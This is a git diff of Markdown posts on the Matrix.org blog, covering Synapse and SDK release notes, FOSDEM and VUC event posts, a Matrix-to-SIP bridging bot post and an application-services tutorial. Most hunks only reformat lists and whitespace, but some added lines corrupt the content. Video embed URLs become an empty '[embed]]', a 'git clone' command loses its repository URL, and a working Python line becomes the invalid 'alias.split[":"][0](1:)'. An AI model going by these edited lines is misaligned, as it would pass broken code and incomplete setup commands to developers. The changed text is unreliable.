partnerships! diff --git a/content/blog/2014/11/2014-11-28-don-t-miss-matrix-in-tonight-s-vuc-session.md b/content/blog/2014/11/2014-11-28-don-t-miss-matrix-in-tonight-s-vuc-session.md index 10d634f04..48bcc8564 100644 --- a/content/blog/2014/11/2014-11-28-don-t-miss-matrix-in-tonight-s-vuc-session.md +++ b/content/blog/2014/11/2014-11-28-don-t-miss-matrix-in-tonight-s-vuc-session.md @@ -13,16 +13,16 @@ Join us live for the demo from the inside by using Matrix to attend the conferen For other connection means: Steps to join the call from Matrix:
    -
  1. Register on Matrix from Chrome if not already done :)
  2. -
  3. Start a chat with @vucbot:matrix.org by entering the ID in the appropriate textfield at the bottom of the public rooms list on http://matrix.org/beta and click on "Message User"
  4. -
  5. In the chat room start a voice call by clicking on the mic icon in the top right corner. Don't forget to allow your browser to access your mic and speakerphones!
  6. +
  7. Register on Matrix from Chrome if not already done :)
  8. +
  9. Start a chat with @vucbot:matrix.org by entering the ID in the appropriate textfield at the bottom of the public rooms list on http://matrix.org/beta and click on "Message User"
  10. +
  11. In the chat room start a voice call by clicking on the mic icon in the top right corner. Don't forget to allow your browser to access your mic and speakerphones!
vuc diff --git a/content/blog/2014/11/2014-11-29-matrix-on-the-road-2-a-winning-tour.md b/content/blog/2014/11/2014-11-29-matrix-on-the-road-2-a-winning-tour.md index be12704a4..7b847fcbe 100644 --- a/content/blog/2014/11/2014-11-29-matrix-on-the-road-2-a-winning-tour.md +++ b/content/blog/2014/11/2014-11-29-matrix-on-the-road-2-a-winning-tour.md @@ -17,7 +17,7 @@ Great techie discussions and debates down there, the stand was flooded with inte But he still found a few minutes to do a TV interview for SYSCon TV on Tuesday evening! :) -[embed]http://youtu.be/JVq6S9V1Jcg[/embed] +[embed]] ## TAD Summit (Istanbul, November 12-13) @@ -25,9 +25,9 @@ Matrix was a partner at TAD Summit in Matthew's talk was fully recorded so just watch the video to get the real pitch! -[embed]http://youtu.be/ER3g4-4bFYk?list=PLO-gJ4-4x_IIYVTuLmVr8iUedvVdduYY4[/embed] +[embed]] -[embed]https://www.youtube.com/watch?v=As-5vVdXhu0[/embed] +[embed]] ## WebRTC World (San Jose, November 18-20) @@ -46,4 +46,4 @@ And eventually, while Matthew and John were celebrating in San José (or flying So if you speak French or are not afraid to only read from the slides, check out the video the team made of the pitch. The official one should be available soon! -[embed]http://youtu.be/DyL9Ue0KlBU[/embed] +[embed]] diff --git a/content/blog/2014/11/2014-11-30-bridging-matrix-sip-via-verto.md b/content/blog/2014/11/2014-11-30-bridging-matrix-sip-via-verto.md index e495366ac..cfcb245fe 100644 --- a/content/blog/2014/11/2014-11-30-bridging-matrix-sip-via-verto.md +++ b/content/blog/2014/11/2014-11-30-bridging-matrix-sip-via-verto.md @@ -21,22 +21,22 @@ By Thursday, the Jitsi bot got to the point of being able to place calls and see We hadn't played with mod_verto before, although had been pointed at it by someone on IRC shortly after we released Matrix - it's a cool project from the FreeSWITCH dev team that exposes a simple JSON-RPC interface for call signalling over websockets, providing a much more suitable way for WebRTC developers to get calls in and out of FreeSWITCH than shoehorning a SIP stack into their browser.  In this respect it's quite similar to Matrix, but there are some huge differences:
    -
  • Verto doesn't (yet) do federation - either for message-passing (like XMPP) or history-replication (like Matrix or XMPP FMUCs).  In fact, Matrix fundamentally competes more with JSON-RPC at OSI layer 5 by defining a standardised RESTful API for federated state synchronisation - which so happens to define some datatypes for VoIP signalling; whereas Verto currently seems to be focused solely on the application-layer problem of VoIP signalling.
  • -
  • Verto is a generic RPC API with method names like verto.invite, verto.answer, verto.media, verto.bye etc. for handling call signalling.  It's obviously readily extensible to any other functionality expressed as an RPC invocation.  The Matrix client-server API however passes around event objects within the context of a room - it's message passing rather than RPC.
  • -
  • Matrix's VoIP events support trickle-ICE; announcing ICE candidates from WebRTC as and when they become available.  This good is for speedy call-setup (you don't have to wait for all ICE to complete before setting up the call) and to support call continuity when roaming between different IP networks (in theory).  However, Verto currently requires ICE candidates to be presented monolithically - it hasn't made sense to implement trickle-ICE as FreeSWITCH's core engine doesn't support it yet.
  • +
  • Verto doesn't (yet) do federation - either for message-passing (like XMPP) or history-replication (like Matrix or XMPP FMUCs).  In fact, Matrix fundamentally competes more with JSON-RPC at OSI layer 5 by defining a standardised RESTful API for federated state synchronisation - which so happens to define some datatypes for VoIP signalling; whereas Verto currently seems to be focused solely on the application-layer problem of VoIP signalling.
  • +
  • Verto is a generic RPC API with method names like verto.invite, verto.answer, verto.media, verto.bye etc. for handling call signalling.  It's obviously readily extensible to any other functionality expressed as an RPC invocation.  The Matrix client-server API however passes around event objects within the context of a room - it's message passing rather than RPC.
  • +
  • Matrix's VoIP events support trickle-ICE; announcing ICE candidates from WebRTC as and when they become available.  This good is for speedy call-setup (you don't have to wait for all ICE to complete before setting up the call) and to support call continuity when roaming between different IP networks (in theory).  However, Verto currently requires ICE candidates to be presented monolithically - it hasn't made sense to implement trickle-ICE as FreeSWITCH's core engine doesn't support it yet.
  • Verto looks to be wired to speak JSON-RPC over Websockets, whereas Matrix deliberately uses plain old HTTP as its baseline for maximum simplicity and compatibility in PUTting and GETting JSON events around
  • -
  • Verto could be an interoperable standard but the API hasn't been documented yet (unless I've totally missed it) - to build the bot we looked at the websockets tab in Chrome's network inspector and drew some inferences from the JSON seen in a call placed using the FreeSWITCH Verto demo site, which was very intuitive and almost self-documenting.  Meanwhile, the (minimal) doc for Matrix's events is up at http://matrix.org/docs/spec/#voice-over-ip.
  • +
  • Verto could be an interoperable standard but the API hasn't been documented yet (unless I've totally missed it) - to build the bot we looked at the websockets tab in Chrome's network inspector and drew some inferences from the JSON seen in a call placed using the FreeSWITCH Verto demo site, which was very intuitive and almost self-documenting.  Meanwhile, the (minimal) doc for Matrix's events is up at http://matrix.org/docs/spec/#voice-over-ip.
Verto has a huge advantage however, in that FreeSWITCH has a mod_verto today, and doesn't have a mod_matrix - so one can use mod_verto right now as an easy way to get VoIP calls in and out of FreeSWITCH from the web and bridge them to SIP!  So, when writing a Matrix<->SIP bridging bot for VUC, Verto turned out to be a really nice way to quickly get something up and running.  The end result is at https://github.com/matrix-org/synapse/blob/develop/contrib/vertobot/bot.pl - a (precisely!) 300 line perl script built on LeoNerd's Net-Async-Matrix and Net::Async::Protocol::WebSocket which logs into Matrix and routes any 1:1 audio calls it receives through to the defined mod_verto service.  Currently it gleefully hardcodes in the destination extension it calls and the caller-ID, but this could trivially be extended.  It also chokes on SSL WebSockets, so your mod_verto needs to be listening unencrypted on port 8081. -The task of mapping between Matrix m.call.* VoIP events and Verto verto.* RPC methods was almost entirely trivial (although I hasten to add that Matrix's and Verto's were developed completely independently - it's just that there are only so many ways to express VoIP signalling in JSON!) +The task of mapping between Matrix m.call.*VoIP events and Verto verto.* RPC methods was almost entirely trivial (although I hasten to add that Matrix's and Verto's were developed completely independently - it's just that there are only so many ways to express VoIP signalling in JSON!)
    -
  • Matrix's m.call.invite is equivalent to the combination of verto.invite + verto.media (but may lack ICE candidates)
  • -
  • Matrix's m.call.candidates has no direct equivalent, so has to be coalesced and merged into verto.media
  • -
  • Matrix's m.call.answer is equivalent to verto.answer (but may lack ICE candidates)
  • -
  • Matrix's m.room.displayname is equivalent to verto.display (assuming I understand verto.display)
  • -
  • Matrix's m.call.hangup is equivalent to verto.bye
  • -
  • …and these are the only verto RPCs we mapped.
  • +
  • Matrix's m.call.invite is equivalent to the combination of verto.invite + verto.media (but may lack ICE candidates)
  • +
  • Matrix's m.call.candidates has no direct equivalent, so has to be coalesced and merged into verto.media
  • +
  • Matrix's m.call.answer is equivalent to verto.answer (but may lack ICE candidates)
  • +
  • Matrix's m.room.displayname is equivalent to verto.display (assuming I understand verto.display)
  • +
  • Matrix's m.call.hangup is equivalent to verto.bye
  • +
  • …and these are the only verto RPCs we mapped.
For the demo itself, we obviously needed a FreeSWITCH with mod_verto all up and running to hook into the ZipDX bridge: our friends at Truphone were good enough to provide one at zero notice (Thanks James, Andy, Giacomo!), and we were up and running. @@ -46,31 +46,39 @@ But in general, the mini-hackathon was a success and it was great fun to be able If you're crazy enough to want to try to run the bot yourself, then it should actually be quite simple to get up and running: - # grab synapse if you don't have it already -git clone https://github.com/matrix-org/synapse.git synapse-develop +```bash +# grab synapse if you don't have it already +git clone synapse-develop cd synapse-develop # you'll need the develop branch, as we haven't released a build with vertobot in it yet + git checkout develop cd contrib/vertobot # you'll need cpanm to install the perl dependencies + cpan -i App::cpanminus cpanm --installdeps . # manually install a develop version of Net::Async::Matrix as cpanm can't figure it out, seemingly + cpanm --force PEVANS/Net-Async-Matrix-0.11_002 + # (you may need to also replace the 'croak' for the "Already have a room with ID" error with 'warn' in Net::Async::Matrix if the bot crashes with this error) # create a username account for your bot on a Matrix homeserver somewhere at this point # set up a config file + cp config.yaml mybot.yaml -# edit mybot.yaml to taste - at the least you must specify the login & password & homeserver for your bot! -# run it! +# edit mybot.yaml to taste - at the least you must specify the login & password & homeserver for your bot + +# run it + ./bot.pl -c mybot.yaml - +``` Finally, huge thanks to everyone to helped make the VUC bridging escapade work out - Emil Ivov at Jitsi, James Body, Andy Smith and Giacomo Vacca at Truphone, Anthony Minesalle & Mike Jerris & Brian West at FreeSWITCH for writing freeswitch and mod_verto, Tim Panton for the VUC intro and suggestion of mod_verto, Randy Resnick & Michael Graves at VUC itself, and of course the Matrix team for glueing our side of it together! diff --git a/content/blog/2014/12/2014-12-03-synapse-0-5-4-released.md b/content/blog/2014/12/2014-12-03-synapse-0-5-4-released.md index 4bc934111..b343db378 100644 --- a/content/blog/2014/12/2014-12-03-synapse-0-5-4-released.md +++ b/content/blog/2014/12/2014-12-03-synapse-0-5-4-released.md @@ -13,9 +13,9 @@ We just pushed a bugfix update to Synapse 0.5, mainly to fix a memory leak where Changes in synapse 0.5.4 (2014-12-03) ===================================== - * Fix presence bug where some rooms did not display presence updates for +* Fix presence bug where some rooms did not display presence updates for remote users. - * Do not log SQL timing log lines when started with "-v" - * Fix potential memory leak. - +* Do not log SQL timing log lines when started with "-v" +* Fix potential memory leak. + diff --git a/content/blog/2014/12/2014-12-19-synapse-0-6-0a-released.md b/content/blog/2014/12/2014-12-19-synapse-0-6-0a-released.md index 63c2277c4..1e9b5adee 100644 --- a/content/blog/2014/12/2014-12-19-synapse-0-6-0a-released.md +++ b/content/blog/2014/12/2014-12-19-synapse-0-6-0a-released.md @@ -19,17 +19,17 @@ To get involved, head over to ht Changes in synapse 0.6.0 (2014-12-19) ===================================== - * Add new API for media upload and download that supports thumbnailing. - * Replicate media uploads over multiple homeservers so media is always served +* Add new API for media upload and download that supports thumbnailing. +* Replicate media uploads over multiple homeservers so media is always served to clients from their local homeserver. This obsoletes the --content-addr parameter and confusion over accessing content directly from remote homeservers. - * Implement exponential backoff when retrying federation requests when +* Implement exponential backoff when retrying federation requests when sending to remote homeservers which are offline. - * Implement typing notifications. - * Fix bugs where we sent events with invalid signatures due to bugs where +* Implement typing notifications. +* Fix bugs where we sent events with invalid signatures due to bugs where we incorrectly persisted events. - * Improve performance of database queries involving retrieving events. +* Improve performance of database queries involving retrieving events. @@ -38,25 +38,29 @@ Changes in Matrix Angular SDK 0.6.0 (2014-12-19) ================================================ Breaking changes: - - Uploading files in the web client will now hit the new content repository URL + +* Uploading files in the web client will now hit the new content repository URL introduced in Synapse 0.6, and be incompatible with previous Matrix clients. Bug fixes: - - Fixed a bug which caused the event stream to become wedged when the computer is asleep. - - Fixed a bug which caused the recents to update but not the message window. + +* Fixed a bug which caused the event stream to become wedged when the computer is asleep. +* Fixed a bug which caused the recents to update but not the message window. Features: - - Typing notifications will now be sent. - - Typing notifications will now be displayed for other users. - - Use the new content repository introduced in Synapse 0.6 when uploading files. + +* Typing notifications will now be sent. +* Typing notifications will now be displayed for other users. +* Use the new content repository introduced in Synapse 0.6 when uploading files. Improvements: - - Display more error dialogs rather than silently failing. - - Display loading spinners on signup. - - Display feedback when joining a room. - - CTRL + clicking on a recents entry will now open that room in a new tab. - - Clicking on links in messages will now open them in a new tab. - - Provide a progress dialog when uploading files. - - Display a red bar when the event stream connection is lost for an extended period of time. - + +* Display more error dialogs rather than silently failing. +* Display loading spinners on signup. +* Display feedback when joining a room. +* CTRL + clicking on a recents entry will now open that room in a new tab. +* Clicking on links in messages will now open them in a new tab. +* Provide a progress dialog when uploading files. +* Display a red bar when the event stream connection is lost for an extended period of time. + diff --git a/content/blog/2015/01/2015-01-07-synapse-0-6-1-released-and-other-news.md b/content/blog/2015/01/2015-01-07-synapse-0-6-1-released-and-other-news.md index da8bc0421..c2241a3ad 100644 --- a/content/blog/2015/01/2015-01-07-synapse-0-6-1-released-and-other-news.md +++ b/content/blog/2015/01/2015-01-07-synapse-0-6-1-released-and-other-news.md @@ -17,7 +17,7 @@ We also released a new simple Python SDK client library for Python called -
  • Finish v2 of the client-server API based on all the lessons learnt since launch: draft in progress here
  • +
  • Finish v2 of the client-server API based on all the lessons learnt since launch: draft in progress here
  • Finish the Application Services API to allow proper gateways and services in and out of Matrix at last:draft in progress here
  • Re-release the spec based on the above
  • Build robust gateways (IRC, XMPP, SIP and more) on top of the AS API
  • @@ -31,9 +31,9 @@ Given the rate at which Matrix is maturing, the next few months should be really Changes in synapse 0.6.1 (2015-01-07) ===================================== - * Major optimizations to improve performance of initial sync and event sending +* Major optimizations to improve performance of initial sync and event sending in large rooms (by up to 10x) - * Media repository now includes a Content-Length header on media downloads. - * Improve quality of thumbnails by changing resizing algorithm. - +* Media repository now includes a Content-Length header on media downloads. +* Improve quality of thumbnails by changing resizing algorithm. + diff --git a/content/blog/2015/01/2015-01-29-looking-forward-to-fosdem.md b/content/blog/2015/01/2015-01-29-looking-forward-to-fosdem.md index 207057483..9cbbcbc8c 100644 --- a/content/blog/2015/01/2015-01-29-looking-forward-to-fosdem.md +++ b/content/blog/2015/01/2015-01-29-looking-forward-to-fosdem.md @@ -8,9 +8,9 @@ category = ["General"] +++ This weekend, Matrix is heading to FOSDEM (Free and Open Source Software Developers' European Meeting) in Brussels, Belgium. We will be hosting two events: a lightning talk on Saturday at 16:30 in room H.2215 (Ferrer), and an IoT devroom talk on Sunday morning at 11:00 in room H.2213. - -FOSDEM's schedule is looking very interesting and varied, and we hope we can learn about interesting projects - and of course show how and where Matrix can be used to lots of FOSDEM-attendees. Please come over and have a chat if you are interested; we have a stand on the second floor in the K building - just take a right after coming up the stairs and say hi! - + +FOSDEM's schedule is looking very interesting and varied, and we hope we can learn about interesting projects - and of course show how and where Matrix can be used to lots of FOSDEM-attendees. Please come over and have a chat if you are interested; we have a stand on the second floor in the K building - just take a right after coming up the stairs and say hi! + We have also set up a Matrix <-> IRC bridge on the #fosdem channel on freenode, which means that any conversation happening there will be copied over to #fosdem:matrix.org - and vice versa. Making bridges to other services is currently being worked on as part of the Application Services API - we want to be able to connect different services together via Matrix. - + Finally, we are always available in the official Matrix HQ room - please join and say hi! diff --git a/content/blog/2015/02/2015-02-04-back-from-fosdem.md b/content/blog/2015/02/2015-02-04-back-from-fosdem.md index 9ac8e966f..bceac04f6 100644 --- a/content/blog/2015/02/2015-02-04-back-from-fosdem.md +++ b/content/blog/2015/02/2015-02-04-back-from-fosdem.md @@ -7,7 +7,7 @@ author = ["Oddvar Lovaas"] category = ["General"] +++ -FOSDEM was great fun! Two days full of conferences and demos; lots of interesting technologies and interested people - and most of all: talking to so many new faces about Matrix and potential uses and integration ideas. +FOSDEM was great fun! Two days full of conferences and demos; lots of interesting technologies and interested people - and most of all: talking to so many new faces about Matrix and potential uses and integration ideas. Both our lightning talk and IoT-devroom talk were completely filled up with huge queues outside (sorry folks), and our demos seemed to go down fairly well. In fact several people set up their own homeserver and joined the federated network of Matrix servers during FOSDEM itself! diff --git a/content/blog/2015/02/2015-02-05-ios-sdk-and-matrix-console-0-2-2-released.md b/content/blog/2015/02/2015-02-05-ios-sdk-and-matrix-console-0-2-2-released.md index 4fec4153c..de63e7656 100644 --- a/content/blog/2015/02/2015-02-05-ios-sdk-and-matrix-console-0-2-2-released.md +++ b/content/blog/2015/02/2015-02-05-ios-sdk-and-matrix-console-0-2-2-released.md @@ -17,24 +17,24 @@ The changes since the last release are:
    Improvements:
      -
    • MXFileStore stores data on a separated thread to avoid blocking the UI thread.
    • -
    • MXRestClient: Callback blocks in all MXRestClient methods are now optional.
    • -
    • MXEvent: Cleaned up exposed properties and added a description for each of them.
    • +
    • MXFileStore stores data on a separated thread to avoid blocking the UI thread.
    • +
    • MXRestClient: Callback blocks in all MXRestClient methods are now optional.
    • +
    • MXEvent: Cleaned up exposed properties and added a description for each of them.
    Features:
      -
    • Added API for registering for push notifications.
    • -
    • Added generic API methods to make any kind of registration or login flow.
    • -
    • Added Identity server API: lookup3pid, requestEmailValidation, validateEmail and bind3PID.
    • -
    • Management of event redaction: there is a new method in the SDK to redact an event and the SDK updates its data on redaction event.
    • +
    • Added API for registering for push notifications.
    • +
    • Added generic API methods to make any kind of registration or login flow.
    • +
    • Added Identity server API: lookup3pid, requestEmailValidation, validateEmail and bind3PID.
    • +
    • Management of event redaction: there is a new method in the SDK to redact an event and the SDK updates its data on redaction event.
    Bug fixes:
      -
    • SYIOS-5 - Expose registration API
    • -
    • SYIOS-44 - Credentials persist across logout
    • -
    • SYIOS-54 - Matrix Console app slightly freezes when receiving a message
    • -
    • SYIOS-59 - Infinite loop in case of back pagination on new created room
    • -
    • MXRoom: Fixed [MXRoom sendTextMessage]
    • +
    • SYIOS-5 - Expose registration API
    • +
    • SYIOS-44 - Credentials persist across logout
    • +
    • SYIOS-54 - Matrix Console app slightly freezes when receiving a message
    • +
    • SYIOS-59 - Infinite loop in case of back pagination on new created room
    • +
    • MXRoom: Fixed [MXRoom sendTextMessage]
    @@ -42,32 +42,32 @@ The changes since the last release are:
    Improvements:
      -
    • When long pressing on a message, the app shows the JSON string of the Matrix event.
    • -
    • On this screen, the user can redact the event - if he has enough power level.
    • -
    • Use home server media repository facilities to use lower image size for thumbnails and avatars
    • -
    • Settings screen: show build version with the app version.
    • -
    • Settings screen: added an option to hide information related to redacted event.
    • -
    • Settings screen: added an option to enable reading of local phonebook. The country is required to internationalise phone numbers.
    • +
    • When long pressing on a message, the app shows the JSON string of the Matrix event.
    • +
    • On this screen, the user can redact the event - if he has enough power level.
    • +
    • Use home server media repository facilities to use lower image size for thumbnails and avatars
    • +
    • Settings screen: show build version with the app version.
    • +
    • Settings screen: added an option to hide information related to redacted event.
    • +
    • Settings screen: added an option to enable reading of local phonebook. The country is required to internationalise phone numbers.
    Features:
      -
    • Push notifications.
    • -
    • Added a contacts screen that displays Matrix users the user had interactions with and contacts from the device phonebook.
    • -
    • Contacts from the device phonebook who have an email linked to a Matrix user id are automatically recognised.
    • +
    • Push notifications.
    • +
    • Added a contacts screen that displays Matrix users the user had interactions with and contacts from the device phonebook.
    • +
    • Contacts from the device phonebook who have an email linked to a Matrix user id are automatically recognised.
    Bug fixes:
      -
    • SYIOS-53 - multilines text input that expands as you type mutiplines would be nice
    • -
    • SYIOS-45 - Need to check the thumbnail params requested by iOS
    • -
    • SYIOS-55 - High resolution avatars create memory pressure
    • -
    • SYIOS-57 - Back pagination does not work well for self chat
    • -
    • SYIOS-56 - add cache size handling in settings
    • -
    • SYIOS-60 - In a self chat, Console takes ages to paginate back even if messages are in cache
    • -
    • SYIOS-61 - Chat room : cannot scroll to bottom when keyboard is opened whereas the growing textview contains multi-lines text.
    • -
    • SYIOS-63 - calculate room names for 3+ members if no room name/alias
    • -
    • SYIOS-44 - Credentials persist across logout
    • -
    • SYIOS-64 - Chat room : unexpected blank lines are added into history when user types in growing textview
    • -
    • SYIOS-65 - IOS8 : in case of search in recents, keyboard is not dismisssed when user selects a room.
    • -
    • SYIOS-16 Add option in Console to join room thanks to its alias
    • +
    • SYIOS-53 - multilines text input that expands as you type mutiplines would be nice
    • +
    • SYIOS-45 - Need to check the thumbnail params requested by iOS
    • +
    • SYIOS-55 - High resolution avatars create memory pressure
    • +
    • SYIOS-57 - Back pagination does not work well for self chat
    • +
    • SYIOS-56 - add cache size handling in settings
    • +
    • SYIOS-60 - In a self chat, Console takes ages to paginate back even if messages are in cache
    • +
    • SYIOS-61 - Chat room : cannot scroll to bottom when keyboard is opened whereas the growing textview contains multi-lines text.
    • +
    • SYIOS-63 - calculate room names for 3+ members if no room name/alias
    • +
    • SYIOS-44 - Credentials persist across logout
    • +
    • SYIOS-64 - Chat room : unexpected blank lines are added into history when user types in growing textview
    • +
    • SYIOS-65 - IOS8 : in case of search in recents, keyboard is not dismisssed when user selects a room.
    • +
    • SYIOS-16 Add option in Console to join room thanks to its alias
    diff --git a/content/blog/2015/02/2015-02-12-synapse-0-7-0-and-matrix-angular-sdk-0-6-2-released.md b/content/blog/2015/02/2015-02-12-synapse-0-7-0-and-matrix-angular-sdk-0-6-2-released.md index e064a8efc..0b4f79039 100644 --- a/content/blog/2015/02/2015-02-12-synapse-0-7-0-and-matrix-angular-sdk-0-6-2-released.md +++ b/content/blog/2015/02/2015-02-12-synapse-0-7-0-and-matrix-angular-sdk-0-6-2-released.md @@ -63,5 +63,5 @@ Improvements: - Highlight room invitations in blue. - Calculate room names for rooms of 3+ members. - Improved page load performance. - + diff --git a/content/blog/2015/02/2015-02-19-synapse-0-7-1-released-with-application-service-api.md b/content/blog/2015/02/2015-02-19-synapse-0-7-1-released-with-application-service-api.md index eb245885f..6fff9f129 100644 --- a/content/blog/2015/02/2015-02-19-synapse-0-7-1-released-with-application-service-api.md +++ b/content/blog/2015/02/2015-02-19-synapse-0-7-1-released-with-application-service-api.md @@ -25,11 +25,11 @@ Changes in synapse v0.7.1 (2015-02-19) * Initial alpha implementation of parts of the Application Services API. Including: - - AS Registration / Unregistration - - User Query API - - Room Alias Query API - - Push transport for receiving events. - - User/Alias namespace admin control + * AS Registration / Unregistration + * User Query API + * Room Alias Query API + * Push transport for receiving events. + * User/Alias namespace admin control * Add cache when fetching events from remote servers to stop repeatedly fetching events with bad signatures. diff --git a/content/blog/2015/03/2015-03-02-introduction-to-application-services.md b/content/blog/2015/03/2015-03-02-introduction-to-application-services.md index ea2bcd1a4..2b5f0d168 100644 --- a/content/blog/2015/03/2015-03-02-introduction-to-application-services.md +++ b/content/blog/2015/03/2015-03-02-introduction-to-application-services.md @@ -84,7 +84,7 @@ namespaces: To test everything is working correctly, go ahead and explicitly create a room with the alias "#logged_test:localhost" and send a message into the room: the HS will relay the message to the AS by PUTing to /transactions/<tid> and you should see your AS print the event on the terminal. This will monitor any room which has an alias prefix of "#logged_", but it won't lazily create room aliases if they don't already exist. This means it will only log messages in the room you created before: #logged_test:localhost. Try joining the room "#logged_test2:localhost" without creating it, and it will fail. Let's fix that and add in lazy room creation:
    @app.route("/rooms/<alias>")
     def query_alias(alias):
    -    alias_localpart = alias.split(":")[0][1:]
    +    alias_localpart = alias.split[":"][0](1:)
         requests.post(
             # NB: "TOKEN" is the as_token referred to in registration.yaml
             "http://localhost:8008/_matrix/client/api/v1/createRoom?access_token=TOKEN",
    @@ -95,7 +95,7 @@ def query_alias(alias):
         )
         return jsonify({'{'}{'}'})
     
    -This makes the application service lazily create a room with the requested alias whenever the HS queries the AS for the existence of that alias (when users try to join that room), allowing any room with the alias prefix #logged_ to be sent to the AS. Now try joining the room "#logged_test2:localhost" and it will work as you'd expect.  You can see that if this were a real bridge, the AS would have checked for the existence of #logged_test2 in the remote network, and then lazily-created it in Matrix as required. +This makes the application service lazily create a room with the requested alias whenever the HS queries the AS for the existence of that alias (when users try to join that room), allowing any room with the alias prefix #logged_to be sent to the AS. Now try joining the room "#logged_test2:localhost" and it will work as you'd expect.  You can see that if this were a real bridge, the AS would have checked for the existence of #logged_test2 in the remote network, and then lazily-created it in Matrix as required. Application services are powerful components which extend the functionality of home servers, but they are limited. They can only ever function in a "passive" way. For example, you cannot implement an application service which censors swear words in rooms, because there is no way to prevent the event from being sent. Aside from the fact that censoring will not work when using end-to-end encryption, all federated home servers would also need to reject the event in order to stop developing an inconsistent event graph. To "actively" monitor events, another component called a "Policy Server" is required, which is beyond the scope of this post.  Also, Application Services can result in a performance bottleneck, as all events on the homeserver must be ordered and sent to the registered application services.  If you are bridging huge amounts of traffic, you may be better off having your bridge directly talk the Server-Server federation API rather than the simpler Application Service API. diff --git a/content/blog/2015/03/2015-03-09-synapse-0-8-0-android-0-2-2-sdk-app-ios-0-3-1-sdk-app-javascript-sdk-0-0-1-released-oh-my.md b/content/blog/2015/03/2015-03-09-synapse-0-8-0-android-0-2-2-sdk-app-ios-0-3-1-sdk-app-javascript-sdk-0-0-1-released-oh-my.md index df6ea0dc8..99fac8476 100644 --- a/content/blog/2015/03/2015-03-09-synapse-0-8-0-android-0-2-2-sdk-app-ios-0-3-1-sdk-app-javascript-sdk-0-0-1-released-oh-my.md +++ b/content/blog/2015/03/2015-03-09-synapse-0-8-0-android-0-2-2-sdk-app-ios-0-3-1-sdk-app-javascript-sdk-0-0-1-released-oh-my.md @@ -66,7 +66,6 @@ Application services: by providing their application service ``access_token``. * Added exclusive namespace support to application services API. -
    @@ -83,7 +82,7 @@ Changes in Matrix Android SDK in 0.2.2 (2015-02-27)
     Improvements:
      * Exif management : the uploaded image is rotated according to the exif metadata
        (if the device has enough free memory).
    - * Add a piechart while downloading an image 
    + * Add a piechart while downloading an image
      * Add JSON representation of a message (tap on its row, “Message details”
      * The public rooms list is now sorted according to the number of members.
     
    @@ -103,7 +102,6 @@ Bug fixes:
      * Some user display names were their matrix IDs.
      * The room name/ topic were invalid when inviting to a room.
     
    -
     
    @@ -118,10 +116,10 @@ Improvements:
      * MXSession: Slightly randomise reconnection times by up to 3s to prevent all
        Matrix clients from retrying requests to the homeserver at the same time.
      * Improved logs
    - 
    +
     Bug fixes:
      * SYIOS-90 - iOS can receive & display messages multiple times when on bad connections
    - 
    +
     -----------------
      Matrix Console
     -----------------
    @@ -129,12 +127,12 @@ Improvements:
      * Fixed warnings with 64bits builds.
      * Room history: Improve scrolling handling when keyboard appears.
      * Contacts: Prompt user when local contacts tab is selected if constact sync is disabled.
    - 
    +
     Bug fixes:
      * Fix crash when switching rooms while the event stream is resuming.
      * SYIOS-69 - On Screen Keyboard can end up hiding the most recent messages in a room.
      * SYIOS-98 - Crash when attempting to attach image on iPad
    - 
    +
     Changes in Matrix iOS SDK in 0.3.0 (2015-02-23)
     ===============================================
     
    @@ -148,7 +146,7 @@ Breaks:
        read cached data from it. (SYIOS-62)
      * MXStore implementations must now implement [MXStore openWithCredentials].
      * All MXRestClient methods now return MXHTTPOperation objects.
    - 
    +
     Improvements:
      * Created the MXSession.notificationCenter component: it indicates when an event must be
        notified to the user according to user's push rules settings.
    @@ -158,13 +156,12 @@ Improvements:
      * Created MXLogger to redirect NSLog to file and to log crashes or uncaught exception.
      * MXRestClient: Added [MXRestClient registerFallback].
      * Logs: Make all NSLog calls follows the same format.
    - 
    +
     Features:
      * SYIOS-40 - Any HTTP request can fail due to rate-limiting on the server, and need to be retried.
      * SYIOS-81 - Ability to send messages in the background.
    - 
    +
     Bug fixes:
      * SYIOS-67 - We should synthesise identicons for users with no avatar.
      * MXSession: Fixed crash when closing the MXSession before the end of initial Sync.
     
    - diff --git a/content/blog/2015/03/2015-03-10-android-0-2-3-sdk-and-application-released.md b/content/blog/2015/03/2015-03-10-android-0-2-3-sdk-and-application-released.md index f2984001f..9623b55e7 100644 --- a/content/blog/2015/03/2015-03-10-android-0-2-3-sdk-and-application-released.md +++ b/content/blog/2015/03/2015-03-10-android-0-2-3-sdk-and-application-released.md @@ -15,50 +15,46 @@ If you're an Android user, please install the app from the Play Store and give i thanks! - -Changes in Matrix Android SDK in 0.2.3 (2015-03-10) -=================================================== - ------ - SDK ------ - ------------------ - Matrix Console ------------------ +## Changes in Matrix Android SDK in 0.2.3 (2015-03-10) + +--- + +### SDK + +--- + +### Matrix Console Improvements: - * Avoid refreshing the home page when it is not displayed. - * Display a piechart while uploading a media. - * Refresh the display when some messages are automatically resent (after retrieving a data network connection for example). - * Update the user rename message to be compliant with the web client. - * Use the local media files instead of downloading them when they are acknowledged (messages sending). - * Create a medias management class. - * Display the offline status in the members list. - * Avoid creating new homeActivity instance when joining a room from member details sheet. - * The public rooms list are now saved in the bundle state : it should avoid having a spinner when rotated the device. - * The animated GIFs are now supported. +* Avoid refreshing the home page when it is not displayed. +* Display a piechart while uploading a media. +* Refresh the display when some messages are automatically resent (after retrieving a data network connection for example). +* Update the user rename message to be compliant with the web client. +* Use the local media files instead of downloading them when they are acknowledged (messages sending). +* Create a medias management class. +* Display the offline status in the members list. +* Avoid creating new homeActivity instance when joining a room from member details sheet. +* The public rooms list are now saved in the bundle state : it should avoid having a spinner when rotated the device. +* The animated GIFs are now supported. Features: - * Add the rate limits error management. The server could request to delay the messages sending because they were too many messages sent in a short time (to avoid spam). - * Can take a photo to send it. - * A chat room page is automatically paginated to fill. It used to get only the ten latest messages : it displayed half filled page on tablet. - * Add the sending failure reason in the message details (long tap on a message, “Message details”). - * The user is not anymore notified it the push rules are not fulfilled. - * Add some room settings (Display all events, hide unsupported events, sort members by last seen time, display left members, display public rooms in the home page). - * Add various accessibility tweaks. +* Add the rate limits error management. The server could request to delay the messages sending because they were too many messages sent in a short time (to avoid spam). +* Can take a photo to send it. +* A chat room page is automatically paginated to fill. It used to get only the ten latest messages : it displayed half filled page on tablet. +* Add the sending failure reason in the message details (long tap on a message, “Message details”). +* The user is not anymore notified it the push rules are not fulfilled. +* Add some room settings (Display all events, hide unsupported events, sort members by last seen time, display left members, display public rooms in the home page). +* Add various accessibility tweaks. Bug fixes: - * The media downloads/uploads were sometimes stuck. - * The private room creation was broken. - * SYAND-33 : number of unread messages disappears when entering another room. - * The RoomActivity creation used to crash when it was cancelled because the Room id param was not provided. - * 